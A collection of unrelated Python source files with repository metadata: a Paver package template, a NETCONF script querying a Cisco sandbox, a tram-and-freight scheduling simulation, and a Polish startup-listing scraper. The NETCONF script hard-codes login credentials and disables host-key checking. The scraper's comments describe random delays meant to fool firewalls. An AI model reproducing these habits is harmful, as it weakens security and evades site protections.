source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the %(org)s nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. """ DEFAULT_NAME = Git(os.getcwd()).config( 'user.name', with_exceptions=False).strip() DEFAULT_NAME = DEFAULT_NAME or os.getlogin() DEFAULT_EMAIL = Git(os.getcwd()).config( 'user.email', with_exceptions=False).strip() class GithubTemplate(Template): """Paver template for a GitHub hosted Python package.""" _template_dir = 'tmpl/gh' summary = ("A basic layout for project hosted on GitHub " "and managed with Paver") use_cheetah = True vars = [ var('package', 'The package contained', default='example'), var('description', 'One-line description of the package', default='<On-line description>'), var('licence', 'package licence - GPLv2/GPLv3/LGPLv2/LGPLv3/AGPLv3/BSD', default='GPLv3'), var('author', 'Author name', DEFAULT_NAME), var('author_email', 'Author email', DEFAULT_EMAIL), var('org', 'Organisation name - for licence.', default='<Organisation>'), ] def check_vars(self, vars, command): """ Reset the package variable in interactive so that project and package names can be different (GitHub and Python Have different restriction on names). """ if not command.options.no_interactive and \ not hasattr(command, '_deleted_once'): del vars['package'] command._deleted_once = True return Template.check_vars(self, vars, command) def pre(self, command, output_dir, vars): """ Set extra template variables: * "year", current year. * "gitignore", set to ".gitignore". * "licence_body", licence notice of the package. * "gpl_type", for gpl licences """ vars['year'] = YEAR vars['gitignore'] = '.gitignore' licence = vars.get('licence') vars['licence_body'] = '' vars['gpl_type'] = '' vars['gpl_version'] = '' if licence: if licence == 'BSD': licence_tmpl = BSD elif licence == 'LGPLv2': vars['gpl_type'] = ' Lesser' vars['gpl_version'] = '2' vars['licence'] = 'LGPLv2' licence_tmpl = GPL elif licence == 'LGPLv3': vars['gpl_type'] = ' Lesser' vars['gpl_version'] = '3' vars['licence'] = 'LGPLv3' licence_tmpl = GPL elif licence == 'AGPLv3': vars['gpl_type'] = ' Affero' vars['gpl_version'] = '3' vars['licence'] = 'AGPLv3' licence_tmpl = GPL elif licence == 'GPLv2': vars['gpl_type'] = '' vars['gpl_version'] = '2' vars['licence'] = 'GPLv2' licence_tmpl = GPL else: vars['gpl_type'] = '' vars['gpl_version'] = '3' vars['licence'] = 'GPL' licence_tmpl = GPL vars['licence_body'] = (LICENCE_HEADER + licence_tmpl) % vars

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null

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1

9fb58ec6926f4ee6f24f0c39bf1b0ebd934bf3b3

1,284

py

Python

netconf-cisco.py

Raul-Flores/Network-programmability-examples

e540b050b89da167b84f415565b75313605e01b2

[ "Apache-2.0" ]

2

2020-01-09T18:32:37.000Z

2020-01-09T18:32:42.000Z

netconf-cisco.py

Raul-Flores/Network-programmability-examples

e540b050b89da167b84f415565b75313605e01b2

[ "Apache-2.0" ]

null

netconf-cisco.py

Raul-Flores/Network-programmability-examples

e540b050b89da167b84f415565b75313605e01b2

[ "Apache-2.0" ]

null

from ncclient import manager from xml.dom import minidom import xmltodict huaweiautomation = {'address':'ios-xe-mgmt-latest.cisco.com', 'netconf_port': 10000, 'username': 'developer', 'password': 'C1sco12345'} huawei_manager = manager.connect(host = huaweiautomation["address"], port = huaweiautomation["netconf_port"], username = huaweiautomation["username"], password = huaweiautomation["password"], device_params = {'name': 'iosxe'}, hostkey_verify = False) filter_Interfaces= """ <filter> <interfaces xmlns="urn:ietf:params:xml:ns:yang:ietf-interfaces"> <interface> </interface> </interfaces> </filter> """ #Para cualquier interfaz huawei_get_interfaces = huawei_manager.get_config('running', filter_Interfaces).xml xml_pretty = minidom.parseString(huawei_get_interfaces) print ("Interfaces en XML format") print ("#"*100) print (xml_pretty.toprettyxml(indent=" ")) xml_to_dict_general = xmltodict.parse(huawei_get_interfaces) print ("#"*100) print ("Extraer todas las interfaces ") for x in xml_to_dict_general['rpc-reply']['data']['interfaces']['interface']: print (x['name']) print ("#"*100) #print ("Estatus....") #print ("") #huawei_manager.connected #Verificar capabilitys #for capability in huawei_manager.server_capabilities: # print (capability)

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null

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1

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1

9fcb149ac5dfe464c79d244e6065b0b4f62a43f1

20,865

py

Python

modules/simulation/simulation.py

LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure

bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11

[ "BSD-3-Clause" ]

null

modules/simulation/simulation.py

LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure

bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11

[ "BSD-3-Clause" ]

null

modules/simulation/simulation.py

LHcau/scheduling-shared-passenger-and-freight-transport-on-a-fixed-infrastructure

bba1e6af5bc8d9deaa2dc3b83f6fe9ddf15d2a11

[ "BSD-3-Clause" ]

null

""" Module to execute the simulation for a given instance. """ """ import packages """ import logging from importlib import import_module import numpy.random as rdm import copy import numpy as np """ import project configurations """ import configurations.settings_simulation as config """ import project libraries """ import modules.data.datamgm as dtm from modules.simulation.entities import Tram, Stop, Passengers, CargoRequest, write_entities_log, init_entities_log # Global logger logger = dtm.initialise_logger(__name__) """ GLOBAL VARIABLES ---------------- - These variables must be resetted after every simulation run """ #: now Simulation Clock now = -1 #: last_now Last event last_now = 0 #:event_queue Event queue event_queue = [] #:trams List of running trams trams = [] #:stops List of stops stops = [] #:cargo List of cargo cargo = [] #:updates List of updates updates = set() #:numEvents Number of total events numEvents = 0 def reset_variables(): """ Function to reset all global variables """ global now, last_now, numEvents, trams, stops, event_queue, cargo, updates now = -1 last_now = 0 numEvents = 0 if trams: trams[0].reset() trams.clear() for stop in stops: stop.reset() stops.clear() event_queue.clear() Passengers.reset() if cargo: cargo[0].reset() cargo.clear() updates.clear() """ SIMULATION LOGGING ------------------ - Simluation log (Text File): Includes all information about the events in the simulation - Entities Log (csv file): Includes the relevant data information of single entities """ # "Simulation Log": What does in a single simulation run happen? (Descriptive) sim_log = logging.getLogger("simulation") # "Entities Log": How do the variables change during one simulation run? ent_log = logging.getLogger("entities") """ SIMULATION METHODS ------------------ """ def run(instance, passengerData, seed=False, index_child_seed=False): """ Run the simulation :param instance: Path to the instance file :param passengerData: Path to the passenger data file :param seed: Seed to replicate the simulation :param index_child_see: Index of the child of the global seedsequence """ # Used global variables global inst, now, last_now, event_queue, numEvents """ Initialise random generator """ # Check seed for random generator if seed: # seed sequence entropy = seed.entropy else: seed = rdm.SeedSequence() entropy = seed.entropy # Import instance (from .py-file) inst = dtm.import_instance(instance) # Initialize the simulation passenger = initialize(seed, passengerData) # Run the simulation running = True while running: # sort the upcoming events according to the time they occur event_queue = sorted(event_queue,key = lambda i: i['time']) if event_queue: if event_queue[0]['time'] != now: if now >= 0: status(now) for entity in updates: if entity == "passenger": entity = passenger entity.last_event = now write_entities_log(entity,now) updates.clear() last_now = now now = event_queue[0]['time'] sim_log.info("\n-----------------------------------------------------------------------------------") sim_log.info(f"Events at {now}:") sim_log.info("***") next_event() numEvents+= 1 event_queue.pop(0) # No more events else: last_time_period(inst.numPeriods-1,passenger) running = False # Save values for replicability sim_log.info(f"\nentropy:\n{entropy}\n") sim_log.info(f"index_child_seed:\n{entropy}\n") # Reset after simulation run reset_variables() # Initialisation def initialize(seed, passengerData): """ This function initialises the simulation run, i.e., creates the needed variables and adds the first events to the event log. :param seed: Seed for replicability :type seed: int :param passengerData: Path to passenger data file :type passengerData: string or path :return: Global passenger object to track number of passengers :rtype: Passengers object """ global event_queue sim_log.info("Initialisation...\n--------------------------------------") # Create child seedsequence per entity seeds = seed.spawn(10) # Entities Log init_entities_log() # initialize stops for s in range(inst.numStops): #sim_log.info("Creating Stop {}.".format(s)) distance_to = {"Stop": inst.stops_distance[s],"Customer": [0]} distance_from = {"Stop": [inst.stops_distance[j][s] for j in range(inst.numStops)], "Customer": [0]} if s == 0: stops.append(Stop(distance_to,distance_from,True)) else: stops.append(Stop(distance_to,distance_from)) pas = dtm.import_instance(passengerData) """ Initialize passengers """ passenger_seeds = seeds[0].spawn(6) if config.random_passenger_arrival: arriving = pas.arriving_intensity config.random_passenger_arrival = passenger_seeds[0] else: arriving = pas.passenger_arriving # instantiate passenger arrivals nonzero = np.nonzero(arriving) for i in range(len(nonzero[0])): p = nonzero[0][i] s = nonzero[1][i] create_event(p, 6, [s]) if config.random_passenger_boarding: config.random_passenger_boarding = passenger_seeds[1] if config.random_passenger_alighting: config.random_passenger_boarding = passenger_seeds[2] if config.random_passenger_changing: config.random_passenger_changing = passenger_seeds[3] if config.random_boarding_time: config.random_boarding_time = passenger_seeds[4] if config.random_alighting_time: config.random_alighting_time = passenger_seeds[5] """ Global passenger variables """ passenger = Passengers( # passenger arrival random_arrival = config.random_passenger_arrival, arriving_passengers = arriving, arriving_passengers_cum = pas.passenger_arriving_acc, # passenger boarding random_boarding = config.random_passenger_boarding, boarding_rate = [1 for tram in range(inst.numTrams)], # passenger alighting random_alighting = config.random_passenger_alighting, alighting_rate = pas.passenger_allighting_rate, # passenger changing random_changing = config.random_passenger_changing, changing_rate = [0 for tram in range(inst.numStops)], # time random_boarding_time = config.random_boarding_time, random_alighting_time = config.random_alighting_time, service_time = inst.passenger_service_time_board, service_time_alight = inst.passenger_service_time_alight, ) # Initialize the starting times of each tram tram_seeds = seeds[1].spawn(inst.numTrams) for t in range(inst.numTrams): sim_log.info(f"Tram {t} will start at {inst.tram_time_arrival[t][0]}.") Tram.numTotal += 1 create_event(inst.tram_time_arrival[t][0],1,[t,tram_seeds[t]]) # Initialize the cargo release cargo_seeds = seeds[2].spawn(inst.numCargo) for c in range(inst.numCargo): sim_log.info(f"Cargo request {c} will start at {inst.cargo_release[c]}.") create_event(inst.cargo_release[c],5,[c,cargo_seeds[c]]) # sort the event queue according to the time event_queue = sorted(event_queue,key = lambda i: i['time']) sim_log.info("\n-----------------------------------------------------------------------------------\n") return passenger def last_time_period(time,passenger): """ Write the log for the last period of the simulation :param time: last period :type time: float :param passenger: passenger object :type passenger: Passengers object """ status(time) for t in trams: write_entities_log(t,time) for s in stops: write_entities_log(s,time) write_entities_log(passenger,time) for c in cargo: c.estimate_delay(time) write_entities_log(c,time) def status(time): """ Add the status of all entities to the simulation log :param time: Time of update :type time: float """ global updates sim_log.info("\n*~* Status *~*") for t in trams: t.info() if len(t.sequences) < t.stopped: t.sequences.append( {"time": time, "cargo": t.cargosize, "passengers": t.passengers, "delay": t.delay} ) for t in stops: t.info() if len(t.sequences) < t.stopped: t.sequences.append( {"time": time, "cargo": t.cargosize, "passengers": t.passengers} ) CargoRequest.info() Passengers.info() """ METHODS FOR HANDLING EVENTS --------------------------- """ def create_event(t,event_id,par): """ Creating a new event given an event id and a list of parameters (if the event is within the time horizon) :param t: time :type t: float :param event_id: event id :type event_id: int :param par: event parameters :type par: list """ if np.ceil(t) < inst.numPeriods: event_queue.append({"time": t, "id":event_id,"par":par}) def next_event(): """ Execute the next event in the event queue """ # Choose the next event event = event_queue[0] # Extract event id and parameters event_id = event["id"] par = event["par"] # Event-id: 1 # Description: Starting a new tram if event_id == 1: starting_tram(par[0],seed=par[1]) # Event-id: 2 # Description: Tram reaches stop (but does not enter yet) if event_id == 2: tram_reaches_stop(par[0]) # Event-id: 3 # Description: Tram enters stop if event_id == 3: tram_entering_stop(par[0]) # Event-id: 4 # Description: Tram leaves stop (and next tram can enter this stop) if event_id == 4: tram_leaves_stop(par[0]) # Event-id: 5 # Description: Cargo is released if event_id == 5: starting_cargo(par[0], seed=par[1]) # Event-id 6: # Description: Update passengers if event_id == 6: passenger_update(par[0]) """ EVENT METHODS ----------------------------------- """ def starting_tram(index,seed): """ Event no. 1: Starting a tram :param index: Index of the tram :type index: int :param seed: Seed for replicability :type seed: int """ global now, updates tram_id = len(trams) if config.random_travel_time: config.random_travel_time = seed # debugging #logger.debug(f"tram_travel_deviation: {config.tram_travel_deviation}") # if passengers and cargo share vehicles if inst.scheme == "SV": trams.append(Tram( tour = inst.tram_tour[index], capacity_passenger = inst.tram_capacity-inst.tram_capacity_min_cargo, capacity_cargo = inst.tram_capacity-inst.tram_capacity_min_passenger, capacity_total = inst.tram_capacity, schedule_arrival = inst.tram_time_arrival[index], schedule_departure = inst.tram_time_departure[index], speed = inst.tram_speed, # Simulation deterministic by default random_travel_time = config.random_travel_time, travel_deviation = config.tram_travel_deviation, max_service = inst.tram_max_service ) ) # if passengers and cargo have dedicated vehicles elif inst.scheme == "SI": if index in inst.cargo_tram_assignment: # cargo tram trams.append(Tram( tour = inst.tram_tour[index], capacity_passenger = 0, capacity_cargo = inst.tram_capacity_cargo, capacity_total = inst.tram_capacity, schedule_arrival = inst.tram_time_arrival[index], schedule_departure = inst.tram_time_departure[index], speed = inst.tram_speed, # Simulation deterministic by default random_travel_time = config.random_travel_time, travel_deviation = config.tram_travel_deviation, max_service = inst.tram_max_service ) ) else: # passenger tram trams.append(Tram( tour = inst.tram_tour[index], capacity_passenger = inst.tram_capacity, capacity_cargo = 0, capacity_total = inst.tram_capacity, schedule_arrival = inst.tram_time_arrival[index], schedule_departure = inst.tram_time_departure[index], speed = inst.tram_speed, # Simulation deterministic by default random_travel_time = config.random_travel_time, travel_deviation = config.tram_travel_deviation, max_service = inst.tram_max_service ) ) tram = trams[-1] if tram.is_operating: tram_reaches_stop(tram_id) else: updates.add(tram) def tram_reaches_stop(tram_id): """ Event no. 2: Tram reaches stop. It either queues up or enters the stop. :param tram_id: tram id :type tram_id: int """ global now tram = trams[tram_id] tram.reach_next_location(now) stop = stops[tram.tour[tram.position]] if stop.check_queue(tram): tram_entering_stop(tram_id) else: updates.add(tram) def tram_entering_stop(tram_id): """ Event no. 3: Tram enters the platform of the stop. :param tram_id: tram id :type tram_id: int """ global now, updates tram = trams[tram_id] stop=stops[tram.tour[tram.position]] tram.enter_next_stop(stop,now) boarding_time = 0 alighting_time = 0 # Update passengers if tram.passenger_transport: boarding_time, alighting_time = passenger_update(stop.index,True,True) # Compute leaving time with passengers only leaving_time = tram.compute_leaving_time(now,boarding_time,alighting_time) new_leaving_time = False if tram.cargo_transport: # unloading tram_cargoload = copy.copy(tram.cargoload) for c in tram_cargoload: request = cargo[c] if request.end_stop == stop.index: unloading_time = request.unload(tram,stop,now) new_leaving_time = tram.compute_leaving_time(now,unloading_time=unloading_time) updates.add(request) tram_cargoload.clear() # loading stop_cargoload = copy.copy(stop.cargoload) for c in stop_cargoload: request = cargo[c] if request.assigned_vehicle == tram.index: loading_time = request.load(tram,stop) new_leaving_time = tram.compute_leaving_time(now,loading_time=loading_time) updates.add(request) stop_cargoload.clear() updates.add(tram) create_event(tram.leaving_time, 4, [tram_id]) return updates def tram_leaves_stop(tram_id): """ Event no. 4: Tram leaves the stop. :param tram_id: tram id :type tram_id: int """ global now tram = trams[tram_id] stop = stops[tram.tour[tram.position]] if tram.leaving_time == now: travel_time = tram.leave_location(stop,now) updates.add(tram) updates.add(stop) if tram.is_operating: create_event(now + travel_time, 2, [tram_id]) next_tram = stop.next_tram_in_queue(tram) if next_tram >= 0: create_event(now + inst.min_time_next_tram , 3, [next_tram]) def starting_cargo(index,seed): """ Event no. 5: New cargo request arrives :param index: cargo index :type index: int :param seed: seed for randomisation :type seed: int """ global now, updates, trams # Generate new cargo request cargo.append(CargoRequest( release = inst.cargo_release[index], deadline = inst.cargo_station_deadline[index], end_stop = inst.cargo_station_destination[index], assigned_vehicle = inst.cargo_tram_assignment[index], stop = stops[0], service_time = inst.cargo_service_time_load, service_time_unload = inst.cargo_service_time_unload, size = inst.cargo_size, random_service_time = seed, ) ) request = cargo[-1] # Check if tram is currently at platform stop = stops[request.start_stop] # Update the log of stop and request updates.add(stop) updates.add(request) # If the assigned vehicle is currently at the depot if stop.current_tram == request.assigned_vehicle: # load tram tram = trams[request.assigned_vehicle] # update the current loading and leaving time of the tram loading_time = request.load(tram, stop) leaving_time = tram.compute_leaving_time(now,loading_time = loading_time) # update the log of the tram updates.add(tram) # Did the leaving time change? if leaving_time: # -> Create a new event for leaving the stop create_event(leaving_time, 4, [tram.index]) def passenger_update(stop_id,recent_tram_arrival = False, consider_tram=False): """ Event no. 6: New passengers arrive and/or alight and board a vehicle :param stop_id: Index of the stop :type stop_id: int :param recent_tram_arrival: New arrival of tram (True) or update while tram is waiting (False)?, defaults to False :type recent_tram_arrival: bool, optional :param consider_tram: Consider boarding and alighting process (True) or only arrival (False), defaults to False :type consider_tram: bool, optional :return: boarding and alighting time :rtype: tuple """ global now, updates stop = stops[stop_id] if consider_tram: tram_id = stop.current_tram else: tram_id = -1 # Update arriving passengers Passengers.arrival(now,stop) boarding_time = 0 alighting_time = 0 # if currently a tram waits at the platform if tram_id >= 0: tram = trams[tram_id] if recent_tram_arrival or tram.leaving_time != now: if recent_tram_arrival: # compute number and time for alighting passengers alighting_passengers, alighting_time = Passengers.alighting(stop,tram,now) # compute number and time for boarding passengers boarding_passengers, boarding_time = Passengers.boarding(stop,tram,now) if recent_tram_arrival: # compute number and time for changing passengers changing_passengers = Passengers.changing(stop,alighting_passengers,now) # Update leaving time if not recent_tram_arrival: leaving_time = tram.compute_leaving_time(now,boarding_time,alighting_time, 0, 0) updates.add(tram) #write_entities_log(tram,now) # Did the leaving time change? if leaving_time: create_event(leaving_time, 4, [tram_id]) #next_arrival = Passengers.compute_next_arrival_time(now,stop,tram) #if next_arrival: # create new event (for passengers that may arrive before the current tram leaves) #create_event(next_arrival, 6, [stop_id]) updates.add(stop) updates.add("passenger") return boarding_time, alighting_time

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9fccdafbf659c38a1a762c6f3bc28239cbcc246f

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py

Python

parser.py

bitounu/startupy

490a48a5e83900d91c5a2a67bb7fd286112f49f4

[ "Unlicense" ]

null

parser.py

bitounu/startupy

490a48a5e83900d91c5a2a67bb7fd286112f49f4

[ "Unlicense" ]

null

parser.py

bitounu/startupy

490a48a5e83900d91c5a2a67bb7fd286112f49f4

[ "Unlicense" ]

null

#!/usr/bin/env python # -*- coding: UTF-8 -*- # zależności Pythona: BeatifulSoup # instalacja z pakietu # Debian /Ubuntu: apt-get install python-bs4 # albo # easy_install beautifulsoup4 # lub # pip install beautifulsoup4 # skrypt robi spis firm ze stron mambiznes.pl # i wypluwa CSV: # Kolumny: # fid # nazwa - Nazwa firmy # url - url do strony w mambiznes.pl # opis - skrócony opis # full - link do lokalnego pliku z pełnym opisem # ourl - url do oryginalnej strony firmy import sys import urllib2 import random from time import sleep from bs4 import BeautifulSoup from bs4 import SoupStrainer # identyfikator firmy fid = 0 # ile stron ma indeks na mambiznes.pl (trzeba sprawdzać ręcznie) # dziś (18.09.2017) jest 53 ILE_STRON = 53 # plik z indeksem firm CSV_FILE = "startupy.csv" # parametr do sleep() do oszukiwania firewalli MNOZNIK = 10 # nagłówek każdego pliku z pełnym opisem firmy html_header = """ <!DOCTYPE html> <html lang="pl-PL"> <head> <meta charset="UTF-8"> <link rel="stylesheet" href="mambiznes.css" type="text/css"> """ html_footer = """ </body> </html> """ # zawężam wyszukiwanie na stronach indeksów do diva "main" only_main = SoupStrainer("main") # zawężam wyszukiwanie na stronie firmy do diva z klasą only_opis = SoupStrainer("div", class_="post-desc np") # ćwiczę na lokalnym pliku #plik = open('test.html', 'r').read() #artin = (BeautifulSoup(plik, "html.parser", parse_only=only_main)) # wypluwam CSV def skanuj(artin): global fid linia = "" for x in artin.find_all("div", class_="article-bottom"): fid += 1 sys.stdout.write('.') sys.stdout.flush() opis_file = str(fid) + ".html" url = x.find('a', class_='dib title').get('href') nazwa = x.find('a', class_='dib title').contents[0] linia += \ '"' + \ str(fid) + \ '","' + \ nazwa + \ '","' + \ url + \ '","' + \ x.find('p', class_="excerpt").contents[0] + \ '","' + \ opis_file + \ '",""' + \ "\n" # trzeba pobrać pełny opis firmy # opóźnienie żeby zmylić ew. proxy sleep(random.random() * MNOZNIK/1.3) opis_url = urllib2.urlopen(url) opis = (BeautifulSoup(opis_url, "html.parser", parse_only=only_opis)) plout = open(opis_file, 'w') txtout = html_header + "<title>" + nazwa.encode('utf-8') + "</title>\n</head>\n\n<body>" + str(opis) + html_footer plout.write(str(txtout)) plout.close() return linia.encode('utf-8') # pobieram dane z portalu print "Pobieram strone:" out = "fid,nazwa,url,opis,full,ourl\n" for i in range(1, ILE_STRON+1): sys.stdout.write(str(i)) sys.stdout.flush() weburl = "https://mambiznes.pl/startupy/page/" + str(i) data = urllib2.urlopen(weburl) artin = (BeautifulSoup(data, "html.parser", parse_only=only_main)) out += skanuj(artin) sys.stdout.write('done\n') sys.stdout.flush() #print out # można do pliku, żeby mieć to w d. fout = open(CSV_FILE, 'w') fout.write(out) fout.close()

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